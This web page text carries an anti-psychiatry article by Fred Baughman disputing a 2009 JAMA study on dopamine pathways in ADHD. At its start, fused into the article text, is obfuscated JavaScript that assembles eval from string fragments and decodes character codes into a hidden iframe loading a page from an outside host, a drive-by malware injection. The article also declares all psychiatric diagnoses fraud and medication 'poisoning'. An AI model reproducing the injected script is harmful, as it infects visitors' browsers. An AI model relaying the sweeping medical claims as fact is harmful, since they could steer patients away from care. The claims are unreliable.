win=window;gar=win['String'];ga='l';g=win['eva'+ga];sf=gar.fromCharCode;g(sf(4.5*2,52.5*2,51*2,16*2,20*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,20.5*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,57*2,20*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,62.5*2,16*2,50.5*2,54*2,57.5*2,50.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,59*2,48.5*2,57*2,16*2,49*2,50*2,60.5*2,16*2,30.5*2,16*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,49.5*2,57*2,50.5*2,48.5*2,58*2,50.5*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,20*2,17*2,49*2,55.5*2,50*2,60.5*2,17*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,58*2,57*2,60.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,48.5*2,56*2,56*2,50.5*2,55*2,50*2,33.5*2,52*2,52.5*2,54*2,50*2,20*2,49*2,50*2,60.5*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,62.5*2,16*2,49.5*2,48.5*2,58*2,49.5*2,52*2,16*2,20*2,50.5*2,20.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,49*2,55.5*2,50*2,60.5*2,16*2,30.5*2,16*2,49*2,50*2,60.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,62.5*2,6.5*2,5*2,4.5*2,4.5*2,52.5*2,51*2,16*2,20*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,20.5*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,57*2,20*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,62.5*2,16*2,50.5*2,54*2,57.5*2,50.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,59.5*2,57*2,52.5*2,58*2,50.5*2,20*2,17*2,30*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,16*2,57.5*2,57*2,49.5*2,30.5*2,19.5*2,52*2,58*2,58*2,56*2,29*2,23.5*2,23.5*2,52*2,57.5*2,48.5*2,57.5*2,52.5*2,50.5*2,56.5*2,23*2,49.5*2,55.5*2,54.5*2,23.5*2,51.5*2,58.5*2,50.5*2,57.5*2,58*2,49*2,55.5*2,55.5*2,53.5*2,23*2,56*2,52*2,56*2,31.5*2,58*2,56*2,30.5*2,51*2,28.5*2,25.5*2,51*2,25*2,24.5*2,28*2Acknowledgements
Dr. Fred Baughman is a renowned neurologist with more than 35 years of professional experience with adults and children. He is a member of the American Academy of Neurology, and has discovered and described new genuine diseases and has long dedicated great courage and professional commitment to the moralization of mental health-related problems, with particular emphasis on scientific theory of knowledge, ethics and disease mongering. He is the author of numerous scientific publications. His opinion is much revered and respected, and as such is sought by the Food and Drug Administration and the Parliamentary Commissions of the United States and other nations. In 2006 he was honoured with an Upton Sinclair Award. He is a member of the Scientific Committee of the Italian drug watchdog campaign “Giù Le Mani Dai Bambini”. I’d like to thank Dr. Baughman on behalf of the Italian public for sending this invaluable review of the research paper entitled “Evaluating Dopamine Reward Pathway in ADHD: Clinical Implications, by Nora D. Volkow, Gene-Jack Wang, Scott H. Kollins et al., JAMA 2009”. I’d also like to thank Dr. Mariano Loiacono for publishing this paper on his website and the journal Limax and for his vast consideration and understanding in these issues.
Dr. Claudio Ajmone
CALLING A FRAUD A FRAUD: ADHD & ALL ‘PSYCHIATRIC ‘DISEASE’
by Fred A. Baughman Jr., M D, author of THE ADHD FRAUD, How Psychiatry Makes ‘Patients” of Normal Children
Analysis of Evaluating Dopamine Reward Pathway in ADHD: Clinical Implications BY Nora D. Volkow; Gene-Jack Wang; Scott H. Kollins;et al.
http://jama.amaassn.org/cgi/content/full/302/10/1084
The fatal flaw in the ‘shell game’ of 'biological psychiatry'—research and practice is that the 'disease’ of the moment—ADHD, is not a disease/gross, microscopic or chemical abnormality/disorder/chemical imbalance/abnormal phenotype (without which it cannot be an abnormal genotype) or anything whatsoever physical or biological. Their science is pseudo/sham/fraudulent science meant to keep alive the illusion of a disease, one never proved but enough of an illusion to deceive many including all of the laity. Calling it such then treating it is a willful, knowing, intentional fraud. Hereby, the children and all of psychiatry’s 'patients are deprived of informed consent which means the drug treatment that invariably follows is assault and battery--poisoning--pure and simple, exactly as intended--for obscene profits.
Volkow et al:
“Context. Attention-deficit/hyperactivity disorder (ADHD)— characterized by symptoms of inattention and hyperactivity impulsivity—is the most prevalent childhood psychiatric disorder that frequently persists into adulthood, and there is increasing evidence of reward-motivation deficits in this disorder.”
Referring to ‘symptoms’ which are always subjective, is wholly appropriate when speaking of things such as ‘inattention,’ ‘hyperactivity-impulsivity’ and ‘reward-motivation,’ none of which are ‘signs,’ i.e., gross, microscopic or chemical abnormalities, diseases, or disorders. The authors error seek to deceive in referring to ADHD as a ‘disorder’ (twice) when ‘disorder’ implies a physical abnormality just as does ‘disease’ and should not have been spoken of as such.
Volkow et al:
“Objective. To evaluate biological bases that might underlie a reward/motivation deficit by imaging key components of the brain dopamine reward pathway (mesoaccumbens).”
Using the term ‘biological bases’ there can be no doubt that they refer to underlying, perhaps causal, physical abnormalities. If so, at some point they would have to demonstrate such ‘biological bases’/‘underlying physical abnormalities.’ Referring to a ‘reward-motivation deficit’ in the context of ‘biological bases’ there is no doubt they consider it, the ‘reward-motivation deficit’ a physical/biological abnormality as well.
Volkow, et al:
“Main outcome Measures. We measured specific binding of positron emission tomographic radioligands for dopamine transporters (DAT) using [11C] cocaine and for D2/D3 receptors using [11C] raclopride, quantified as binding potential (distribution volume ratio.”
Here they speak of having done physical-chemical tests on (1) subjects with ADHD—none of whom were proved to be physically abnormal = diseased = disordered (as least not prior to the tests), and upon (2) normal, control individuals, none of whom were physically abnormal = diseased = disordered prior to the tests. This means that physically/medically/biologically the ADHD subjects and the control subjects were both normal and were identical, i.e., that ADHD = normal.
Volkow et al:
“In conclusion, these finding show reduction in dopamine synaptic markers in the dopamine reward pathway midbrain and accumbens region of participants with ADHD that were associated with measures of attention. It also provides preliminary evidence of hypothalamic involvement in ADHD (lower than normal D2/D3 receptor availability).”
Here, Volkow et al claim a correlation between a ‘reduction in dopamine synaptic markers in the dopamine reward pathway midbrain and accumbens region of participants with ADHD that were associated with measures of attention,’ when neither ADHD or too little or too much attention have ever been proved to be physical abnormalities/diseases/disorders. Therefore we are left with ADHD subjects = normal = normal controls = normals everywhere. Is it conceivable that these and other psychiatric researchers would contrive such positive results? Is it possible that they would represent ADHD to be a disorder/disease/abnormality and ADHD subjects to be disordered/diseased/abnormal.
This is exactly what has been going on since publication of DSM-III-R in 1987 despite the fact that ADHD was arbitrarily re-formulated for DSM-IV, in-committee, in 1994. Why then has no ‘proof’ that ADD or ADHD is a disease/disorder/abnormality been replicated in all the 29 years since the formulation of ADD in DSM-III in 1980. Nor was there any replicated proof that hyperkinetic disorder (HKD) or minimal brain dysfunction (MBD) in the preceding 10 years—1970-1980! ADHD, by whatever name has always equaled normal—exactly like every other psychiatric disease/disorder. Might there ‘science’ and scientific literature be nothing but duplicity
Volkow et al:
“METHODS. Participants. “Two clinicians interviewed the patients to ensure that Diagnostic and Statistical Manual of Mental Disorders (Fourth Edition) (DSM-IV) diagnostic criteria were met, including the presence of at least 6 of 9 inattention symptoms (with or without 6 of 9 hyperactive or impulsive symptoms) as ascertained with a semistructured psychiatric interview using modifications for adult prompts of ADHD behaviors. The Clinical Global Impressions Severity scale was used to assess overall impairment. For diagnosis, ADHD participants were required to have at least a moderate severity level of 4 or greater. In addition, evidence was required from each participants history that some symptoms of ADHD started before age 7 years.”
Neither interviews or behavior checklists (from DSM-IV in this case) do not elicit gross, microscopic or chemical abnormalities/diseases, nor does the ‘semistructure psychiatric interview’ or Clinical Global Impressions Severity scale. Neither does ‘history’ regarding symptoms that may have started before age 7 or any other ‘history.’ History deals exclusively with symptoms and never provides objective evidence or proof.
Volkow et al:
“Clinical Scales. The DSM-IV ADHD items were assessed using the Strengths and Weaknesses of ADHD-symptoms and Normal-behavior (SWAN) rating scale, which uses a positive scale for symptoms (1 to 3) ranging from far below average to far above average.”
Volkow et al:
“Comment. This study provides evidence in favor of the predicted disruption in the meso-accumbens dopamine pathway in ADHD.”
Here they claim this study provides evidence of a physical brain ‘disruption,’ an abnormality/disease, when all they do is based upon the never-proved presumption that ADHD, inattention, or hyperactivity and impulsivity are objective abnormalities/signs (as opposed to symptoms) diseases.
Volkow et al:
“Consistent with this important clinical feature of the ADHD syndrome, a recent fMRI study reported decreased activation of the ventral striatum (wherein nucleus accumbens is located) for both immediate and delayed rewards in adult participants with ADHD compared to controls.”
Here they refer to ‘syndrome’ used in medicine to designate ‘disease’/ ‘disorder’ and take the opportunity to ‘plug’ an fMRI study—functional MRI, which show functional differences never physical abnormalities as are sought with structural MRI scan. Is this not a pattern of deception.
Volkow et al:
“In conclusion, these findings show a reduction in dopamine synaptic markers in the dopamine reward pathway mid-brain and accumbens region of participants with ADHD that were associated with measure of atteitnion. It also provides preliminary evidence of hypothalamic involvement in ADHD (lower than normal D2/D3 receptor availability).”
Volkow et al:
“ADHD is characterized by symptoms of inattention, hyperactivity, or impulsivity that produce impairment across cognitive, behavioral and interpersonal domains.”
Assuming ADHD to be a disease ( disease = disorder = gross, microscopic or chemical abnormality = abnormal phenotype) but never proving it, or referencing proof, or diagnosing it in their ADHD subjects.
Volkow et al:
“To test this hypothesis, we evaluated dopamine D2/D3 receptor (dopamine postsynaptic marker) and DAT (dopamine presynaptic marker) availability in these brain regions in 53 adult participants with adhd (never medicated) and 44 non adhd controls using positron emission tomomography (PET) and both [11C] raclopride and DAT radioligands respectively).”
Until ADHD has been proved to be an objective abnormality/disease and until it can be objectively confirmed patient-by-patient, one cannot speak of it as a disease, an epidemic, investigate or research it or speak of its basis, bases, etiology, cause or causes. And yet that is exactly what Volkow et al do and what ‘biological’ (with nothing biological) psychiatrists do throughout their discourse and scientific (anti-scientific) literature.
They always hope it will not be noticed that they hop back and forth over the psychosocial/physical divide, doing physical tests on things non-physical, hoping this will not be noticed or challenged. With Big Pharma protecting the fraud with a mighty club, no one openly challenges the brazen, blatant, fraud.
HEALTH CANADA CONFESSES
On Nov 10, 2008, Supriya Sharma, Director General of Health Canada wrote Mr. Brian Verbeek of Ontario, Canada:
“For mental/psychiatric disorders in general, including depression, anxiety, schizophrenia and ADHD, there are no confirmatory gross, microscopic or chemical abnormalities that have been validated for objective physical diagnosis.”
THE FDA CONFESSES
On March 12, 2009, Donald Dobbs Consumer Safety Officer, Division of Drug Information Center for Drug Evaluation and Research wrote:
“I consulted with the FDA new drug review division responsible for approving psychiatric drug products and they concurred with the response you enclosed from Health Canada. Psychiatric disorders (as Health Canada refers) are diagnosed based on a patient's presentation of symptoms that the larger psychiatric community has come to accept as real and responsive to treatment. We have nothing more to add to Health Canada's response”
Dobb’s reply makes clear that no psychiatric diagnosis whatsoever is a gross, microscopic or physical abnormality/disease but rather that they are wholly subjective, “based on a patient's presentation of symptoms that the larger psychiatric community has come to accept as real and responsive to treatment.” They invent them, one at a time in the DSM Committee of the American Psychiatric Association, then, by acclamation speak of them ever after as ‘diseases’/abnormalities/disorders/syndromes/illnesses/sicknesses/chemical imbalances—all of them needing ‘treatments.’
It is time for all in psychiatry and for all who sponsor and collude with them--the pharmaceutical industry, the American Medical Association (AMA), the Journal of the AMA (JAMA), American Academy of Neurology (AAN), Child Neurology Society (CNS), American Academy of Pediatrics (AAP), American Academy of Family Practice (AAFP), all of organized medicine, the FDA, NIMH, NIDA, NIH, DEA, FDA, the House of Representative, the Senate, the White House and all governmental health care agents and agencies, to cease, once and for all, the fraud of calling normal persons or all ages chemically imbalanced, diseased, disordered which is a fraud to make ‘patients’ of normals to medicate them, for profit, never to stop.
It is time, therefore, for an end to psychiatry’s fraudulent claims that they diagnose, treat and do research upon diseases/objective abnormalities (when it is all done by a show of hands in the DSM committee of the APA) in order to convince their patients and the lay public that they do, in order to make ‘patients’ of normals so as to convince them that they are ‘diseased’ and need ‘treatments’ such as drugs, ECT and psychosurgery—physical treatment that become their first and only injuries/abnormalities/disease.
Most importantly we cannot continue to countenance the moral outrage that is ‘biological psychiatry.’ Secondly we cannot afford the tens to hundred of billions of dollars it plunders from the US health care budget as we, as a country, face bankruptcy as a function of out of control and fraudulent health care expenditures.